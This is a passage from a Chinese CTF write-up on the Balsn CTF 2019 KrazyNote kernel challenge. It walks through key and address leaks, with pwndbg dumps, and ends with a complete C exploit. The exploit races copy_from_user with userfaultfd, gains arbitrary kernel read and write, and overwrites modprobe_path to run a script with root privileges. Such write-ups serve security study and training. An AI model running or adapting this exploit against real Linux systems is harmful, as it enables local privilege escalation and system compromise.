然后,我们在 handler中,还将 note[0].buf[8]处的值改为了 0xff,而这个地址在 新内存布局中,刚好对应 note[1].length,所以这里 实现了 一个缓冲区溢出漏洞。

  1. 泄露数据

完成漏洞构造后,接下来我们就要选择泄露数据。

首先,可以利用 note[1]泄露 key,因为此时 note[1]的大小被改为了 0xff,其原本数据为 0x0,但输出时会进行解密 0^key=key,所以 能够把 key泄露出来。

然后这里后续提权,不管是用到 覆写 cred结构体,还是使用 modprobe_path的方法都必须知道 page_offset_base。因为不管是用 Edit还是 Show函数中,获取当前 note存储数据的地址,都是使用 cotentPtr+page_offset_base来获得,如下所示。那么就有一个很重要的点,当我们能修改 contentPtr后,我们就能够 写和泄露 指定地址的值。而前提就是 我们知道 page_offset_base的值。

//Edit
     contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
//Show
      contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);

而这里为了构造一个符合我们目标的 contentPtr,我们需要先泄露当前 正确的 contentPtr值。这点我们很容易做到。只需要再创建一个 New(buffer, 0),那么此时内存布局如下,我们输出 Show(note[1])时,其 buf[0x10]处的值即为 key^contentPtr_note2。

这样我们就把 note[2]的 contentPtr泄露出来了。

note_struct         //new_note[0]
note_struct         //note[1]
note_struct         //note[2]

那么,接下来我们 将 contentPtr - 0x2568,得到 此时 module_base-page_offset_base的值 module_base_off 。这里为什么减去 0x2568,是因为 note[2]真实的 contentPtr位于 note.ko偏移 0x2568处。如下所示:

pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000      //note[0].key   note[0].length
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000      //note[0].contentPtr    note[1],key
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550  //note[1].length   note[1].contentPtr
0xffffffffc021c550:     0xffff8df0c6738000      0x0000000000000000  //note[2].key
0xffffffffc021c560:     0x0000720f0021c568      0x0000000000000000      //note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

那么接下来,我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移,就能实现对 note.ko 读写。这里,用到了一个十分巧妙地 代码:

.text:00000000000001F7 140 4C 8B 25 12 2A 00 00                          mov     r12, cs:page_offset_base
.text:00000000000001FE 140 4C 03 60 10                                   add     r12, [rax+10h]

再这个代码处,用到了 page_offset_base,而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移 page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被 确定的,所以我们需要 先输出 note.ko+0x1fa的值,如下所示,可以看到前 4字节 0xf9881aa2 就是 page_offset_base_offset。而这里输出 note.ko+0x1fa的方法是 将 note[2].contentPtr改为 module_base_off+0x1fa,如下所示。

pwndbg> x/10xg 0xffffffffc021a000+0x1fa
0xffffffffc021a1fa:     0x1060034cf9881aa2      0xf8c3ff86e8ee8948  //page_offset_base_offset = 0xf9881aa2
0xffffffffc021a20a:     0x8948ee894cea8948      0x8548f8d39c68e8df
0xffffffffc021a21a:     0x4824048b482b74ed      0x31c021e520c50c8b

//leak page_offset_base_offset
pwndbg> x/20xg 0xffffffffc021c520                                 
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000004
0xffffffffc021c560:     0x0000720f0021a1fa      0x0000000000000000  //note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

通过上面的方法得到 page_offset_base_offset后,我们就可以得到note.ko里的 page_offset_base的地址 page_offset_base_addr,其为 module_base_off+page_offset_base_offset+0x1fe,这里 还需要加 0x1fe的原因是 这里的 page_offset_base+offset是相对 0x1fe地址的,并不是 module_base。然后,我们就可以通过 page_offset_base_addr泄露 page_offset_base了。

pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000008
0xffffffffc021c560:     0x0000720ef9a9bca0      0x0000000000000000  //note[2].contentPtr

*RDI  0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64                               
*RSI  0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push   rbx /* 0xf000ff53f000ff53 */   
//page_offset_base=0xffff8df0c0000000

这里,我们得到 page_offset_base后,就可以实现任意地址 读写了。后续提权的方法 可以使用 覆写 cred结构体,也可以使用 覆写modprobe_path。例如,我们通过 爆破遍历 到了 cred的地址,我们需要修改 cred时,需要将 note[2].contentPtr改为 (cred_addr-page_offset_base)^key的值即可。

注意,如果利用覆写 cred结构体,上面的步骤和泄露的数据已经足够。但是如果要利用 modprobe_path来说,则还需要知道 kernel_base。那么我们如何泄露呢?

在已经知道 page_offset_base的情况下, module_base_off-page_offset_base = module_base;

然后,如何泄露 kernel_base?我们可以利用上面泄露 page_offset_base的方法, 这里可以利用 note.ko里 用到 copy_to_user或 copy_from_user的地址,例如下所示:

.text:000000000000006C 140 E8 7F 2B 00 00                                call    _copy_from_user
.text:0000000000000071 140 48 85 C0                                      test    rax, rax

这里调用了 copy_from_user函数,我们修改 contentPtr为 module_base_off+0x6d,然后泄露得到 copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为 module_base+0x71+copy_from_user_off。我们得到 copy_from_user函数的地址后,再减去我们通过静态分析得到的 copy_from_user相对于 kernel_base的偏移,即可得到 kernel_base的值。

得到 kernel_base之后,就可以按照之前所讲的获得 modprobe_path的方法来获得 modprobe_path地址。

EXP

// gcc -static -pthread exp.c -g -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

typedef struct noteRequest{
    size_t idx;
    size_t length;
    char* buf;
}NoteReq;

int fd;
char buffer[0x1000] = { 0 };
size_t fault_ptr;
void init(){
    fd = open("/dev/note", 0);
    if (fd < 0){
        printf("open fd error\n");
        exit(-1);
    }
    puts("Open device ok\n");
}

void New(char*buf, uint8_t length){
    NoteReq req;
    req.length = length;
    req.buf = buf;
    if(-1 == ioctl(fd, -256, &req)){
        puts("New error\n");
        exit(-1);
    }
}

void Edit(uint8_t idx, char* buf, uint8_t len){
    NoteReq req;
    req.idx = idx;
    req.length = len;
    req.buf = buf;
    if(-1 == ioctl(fd, -255, &req)){
        puts("Edit err\n");
        exit(-1);
    }
}

void Show(uint8_t idx, char* buf){
    NoteReq req;
    req.idx = idx;
    req.buf = buf;
    if(-1 == ioctl(fd, -254, &req)){
        puts("Show err\n");
        exit(-1);
    }
}

void Delete(){
    NoteReq req;
    if(-1 == ioctl(fd, -253, &req)){
        puts("Delete err\n");
        exit(-1);
    }
}

void* handler(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] Handler created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // 这会一直等待,直到copy_from_user访问FAULT_PAGE
        {
        puts("wrong pool return\n");
        exit(-1);
    }   
    printf("[+] Begin handler\n");

    //here, we can write our own code
    Delete();
    New(buffer, 0);     //note[0]
    New(buffer, 0);     //note[1]

    buffer[8]=0xff; //change note[1].length

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
    {
        puts("uffd read err\n");
        exit(-1);
    }    

    struct uffdio_copy uc;
    memset(buffer, 0, sizeof(buffer));
    buffer[8] = 0xf0; //把note1 的length改成0xf0

    uc.src = (unsigned long)buffer;
    uc.dst = (unsigned long)fault_ptr;
    uc.len = 0x1000;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

    puts("[+] handle finished");
    return NULL;    

}

size_t register_userfault(){
   long uffd;        
   char *addr;       
   size_t len = 0x1000;
   pthread_t thr; 
   struct uffdio_api uffdio_api;
   struct uffdio_register uffdio_register;
   int s;
   uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   if (uffd == -1)
   {
       puts("userfaultfd\n");
       exit(-1);
   }


   uffdio_api.api = UFFD_API;
   uffdio_api.features = 0;
   if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
   {
       puts("ioctl uffd err\n");
       exit(-1);
   }
   addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (addr == MAP_FAILED)
   {
       puts("map err\n");
       exit(-1);
   }

   printf("Address returned by mmap() = %p\n", addr);
   uffdio_register.range.start = (size_t) addr;
   uffdio_register.range.len = len;
   uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
//                                       //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
   {
       puts("ioctl register err\n");
       exit(-1);
   }

   s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
   if (s != 0) {
       errno = s;
        puts("pthread create err\n");
       exit(-1);
   }
   return addr;
}

int main()
{
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh");
    system("chmod +x /home/note/getflag.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/ll");
    system("chmod +x /home/note/ll");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    init();
    New(buffer, 0x10);

    fault_ptr = register_userfault();
    Edit(0, fault_ptr, 0x10);

    Show(1, buffer);
    size_t key = *(size_t*)buffer;
    printf("key is 0x%lx\n",key);

    New(buffer, 0x0);   //note[2]
    Show(1, buffer);

    //leak module_base_off
    size_t note2ContPtr = *(size_t*)(buffer+0x10)^key;
    size_t module_base_off = note2ContPtr - 0x2568;
    printf("note2ContPtr: 0x%lx \nmodule_base_off: 0x%lx\n",note2ContPtr, module_base_off);

    unsigned long* fake_note = (unsigned long*)buffer;
    fake_note[0] = key^0;
    fake_note[1] = 4^key;
    fake_note[2] = (module_base_off+0x1fa)^key;

    Edit(1, fake_note, 0x18);
    //leak page_offset_base_offset
    int page_offset_base_offset = 0;
    Show(2, (char*)&page_offset_base_offset);
    printf("page_offset_base_offset: %x\n", page_offset_base_offset);

    size_t page_offset_base_addr = page_offset_base_offset + module_base_off + 0x1fe;
    printf("page_offset_base_addr: 0x%lx\n", page_offset_base_addr);

    //leak page_offset_base
    fake_note[0] = key^0;
    fake_note[1] = 0x8^key;
    fake_note[2] = page_offset_base_addr^key;
    Edit(1, fake_note, 0x18);
    size_t page_offset_base = 0;
    Show(2, (char*)&page_offset_base);
    printf("page_offset_base: 0x%lx\n", page_offset_base);

    size_t module_base = module_base_off + page_offset_base;
    printf("module_base: 0x%lx\n", module_base);

    //leak module_base
    fake_note[0] = key^0;
    fake_note[1] = 0x4^key;
    fake_note[2] = (module_base_off+0x6d)^key;
    Edit(1, fake_note, 0x18);
    int copy_from_user_off = 0;
    Show(2, (char*)&copy_from_user_off);
    printf("copy_from_user_off: 0x%x\n", copy_from_user_off);

    size_t copy_from_user_addr = copy_from_user_off+0x71+module_base;
    size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000);
    printf("copy_from_user_addr: 0x%lx\n kernel_base: 0x%lx\n",copy_from_user_addr, kernel_base);

    size_t modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000);
    printf("modprobe_path: 0x%lx\n", modprobe_path);

    char* buf = malloc(0x50);
    memset(buf, '\x00', 0x50);
    strcpy(buf, "/home/note/getflag.sh\0");
    //change modprobe_path
    fake_note[0] = key^0;
    fake_note[1] = 0x50^key;
    fake_note[2] = (modprobe_path-page_offset_base)^key;
    Edit(1, fake_note, 0x18);

    Edit(2, buf, 0x50);
    system("/home/note/ll");
    system("cat /home/note/flag");
    return 0;
}

参考

【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
Linux Kernel Userfaultfd 内部机制探究
userfaultfd(2) — Linux manual page


文章来源: http://xz.aliyun.com/t/9469
如有侵权请联系:admin#unsafe.sh